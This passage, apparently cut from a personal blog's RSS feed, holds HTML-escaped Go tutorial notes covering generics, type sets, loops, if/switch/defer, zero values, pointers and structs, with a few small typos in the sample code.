&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;x&lt;/span&gt; &amp;lt; &lt;span style=&#34;color:#a6e22e&#34;&gt;y&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;x&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;y&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// we need different function for int, int8, int32, ... :(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;golang.org/x/exp/constraints&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;gmin&lt;/span&gt;[&lt;span style=&#34;color:#a6e22e&#34;&gt;T&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;contraints&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;Ordered&lt;/span&gt;](&lt;span style=&#34;color:#a6e22e&#34;&gt;x&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;y&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;T&lt;/span&gt;) &lt;span style=&#34;color:#a6e22e&#34;&gt;T&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;x&lt;/span&gt; &amp;lt; &lt;span style=&#34;color:#a6e22e&#34;&gt;y&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;x&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;y&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;mixy&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;gmin&lt;/span&gt;[&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt;](&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;mfxy&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;gmin&lt;/span&gt;[&lt;span style=&#34;color:#66d9ef&#34;&gt;float64&lt;/span&gt;](&lt;span style=&#34;color:#ae81ff&#34;&gt;8.3&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;12.7&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// you can create type specific functions from generic ones&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;minString&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;gmin&lt;/span&gt;[&lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// type inference&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;mfxy2&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;gmin&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;1.1&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;2.2&lt;/span&gt;) &lt;span style=&#34;color:#75715e&#34;&gt;// float64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;type-sets&#34;&gt;Type sets&lt;/h4&gt;
&lt;p&gt;Interfaces can now match not just for method sets, but for types too:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;type&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;Ordered&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;interface&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;Integer&lt;/span&gt;|&lt;span style=&#34;color:#a6e22e&#34;&gt;Float&lt;/span&gt;|~&lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;~&lt;/code&gt; means the underlying type (so &lt;code&gt;type MyString string&lt;/code&gt; will match)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;any&lt;/code&gt; added for the short version of &lt;code&gt;interface{}&lt;/code&gt;&lt;/p&gt;</content>
    </item>
    
    <item>
      <title>Go(lang)</title>
      <link>https://horak.hu/posts/golang/</link>
      <pubDate>Thu, 26 May 2022 00:00:00 +0000</pubDate>
      
      <guid>https://horak.hu/posts/golang/</guid>
      <description>&lt;h2 id=&#34;what&#34;&gt;What?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;statically typed (w/ type inference)&lt;/li&gt;
&lt;li&gt;compiled (statically linked)&lt;/li&gt;
&lt;li&gt;memory safety, garbage collection&lt;/li&gt;
&lt;li&gt;built in dependency management&lt;/li&gt;
&lt;li&gt;concurrency:
&lt;ul&gt;
&lt;li&gt;goroutines (~coroutines/threads)&lt;/li&gt;
&lt;li&gt;channels&lt;/li&gt;
&lt;li&gt;select (for channels)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;interfaces for &amp;ldquo;virtual inheritance&amp;rdquo;, type embedding&lt;/li&gt;
&lt;li&gt;standardized formatting (gofmt)&lt;/li&gt;
&lt;li&gt;multiple implementations (gc, gccgo, gollvm, gopherjs, &amp;hellip;)&lt;/li&gt;
&lt;/ul&gt;</description>
      <content>&lt;h2 id=&#34;what&#34;&gt;What?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;statically typed (w/ type inference)&lt;/li&gt;
&lt;li&gt;compiled (statically linked)&lt;/li&gt;
&lt;li&gt;memory safety, garbage collection&lt;/li&gt;
&lt;li&gt;built in dependency management&lt;/li&gt;
&lt;li&gt;concurrency:
&lt;ul&gt;
&lt;li&gt;goroutines (~coroutines/threads)&lt;/li&gt;
&lt;li&gt;channels&lt;/li&gt;
&lt;li&gt;select (for channels)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;interfaces for &amp;ldquo;virtual inheritance&amp;rdquo;, type embedding&lt;/li&gt;
&lt;li&gt;standardized formatting (gofmt)&lt;/li&gt;
&lt;li&gt;multiple implementations (gc, gccgo, gollvm, gopherjs, &amp;hellip;)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;why&#34;&gt;Why?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;mascot: &lt;strong&gt;go&lt;/strong&gt;pher&lt;/li&gt;
&lt;li&gt;started by &lt;strong&gt;Go&lt;/strong&gt;ogle in 2007&lt;/li&gt;
&lt;li&gt;focusing on multicored/networked problems&lt;/li&gt;
&lt;li&gt;efficient (like C)&lt;/li&gt;
&lt;li&gt;readable &amp;amp; usable (like Python)&lt;/li&gt;
&lt;li&gt;high performance networking &amp;amp; multiprocessing&lt;/li&gt;
&lt;li&gt;primary motivation: dislike of C++ :)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;how&#34;&gt;How?&lt;/h2&gt;
&lt;p&gt;Play with it: &lt;a href=&#34;https://go.dev/play/&#34;&gt;Go Playground&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&#34;flow-control&#34;&gt;Flow control&lt;/h3&gt;
&lt;h4 id=&#34;for&#34;&gt;for&lt;/h4&gt;
&lt;p&gt;Classic:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt; &amp;lt; &lt;span style=&#34;color:#ae81ff&#34;&gt;10&lt;/span&gt;; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;fmt&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;em&gt;While&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;sum&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;sum&lt;/span&gt; &amp;lt; &lt;span style=&#34;color:#ae81ff&#34;&gt;100&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;sum&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Endless loop:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;// neverending story&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;if&#34;&gt;if&lt;/h4&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt; &amp;lt; &lt;span style=&#34;color:#ae81ff&#34;&gt;10&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;// i &amp;lt; 10&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;} &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;// i &amp;gt;= 10&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;W/ short statement:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;s&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;math&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;Sin&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;f&lt;/span&gt;); &lt;span style=&#34;color:#a6e22e&#34;&gt;s&lt;/span&gt; &amp;lt; &lt;span style=&#34;color:#ae81ff&#34;&gt;.5&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;s&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// s isn&amp;#39;t defined here&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;switch&#34;&gt;switch&lt;/h4&gt;
&lt;p&gt;Basically many &lt;code&gt;if&lt;/code&gt;s, no silly &lt;code&gt;break&lt;/code&gt;s and such:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;switch&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;os&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;runtime&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;GOOS&lt;/span&gt;; &lt;span style=&#34;color:#a6e22e&#34;&gt;os&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;case&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;darwin&amp;#34;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;// MacOS&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;case&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;linux&amp;#34;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;// Linux&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;default&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;// anything else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;defer&#34;&gt;defer&lt;/h4&gt;
&lt;p&gt;Defers execution until the function returns (~finally).&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;x&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;defer&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;fmt&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;x exited&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt; &amp;gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;10&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;big&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;small&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Deferred functions are stacked, called in a reverse order.&lt;/p&gt;
&lt;h3 id=&#34;types&#34;&gt;Types&lt;/h3&gt;
&lt;p&gt;No variable is &lt;em&gt;uninitialized&lt;/em&gt;.&lt;/p&gt;
&lt;h4 id=&#34;basic-types-zero-values&#34;&gt;Basic types, zero values&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;bool (false)&lt;/li&gt;
&lt;li&gt;numbers (byte, uint8, int16, float32, complex128, &amp;hellip;) (0)&lt;/li&gt;
&lt;li&gt;string (&amp;quot;&amp;quot;)&lt;/li&gt;
&lt;li&gt;rune (int32 - unicode character) (&amp;rsquo;&#39;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Inference:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;// i == 0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;j&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;16&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;// j is int&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;k&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;j&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;// k is 16, int&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;pointers-references&#34;&gt;Pointers, references&lt;/h4&gt;
&lt;p&gt;Without pointer arithmetic:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;42&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;p&lt;/span&gt; = &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;p&lt;/span&gt; = &lt;span style=&#34;color:#ae81ff&#34;&gt;21&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;fmt&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;p&lt;/span&gt;) &lt;span style=&#34;color:#75715e&#34;&gt;// prints 21&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;structs&#34;&gt;Structs&lt;/h4&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;type&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;Color&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;R&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;G&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;B&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;Alpha&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;float32&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
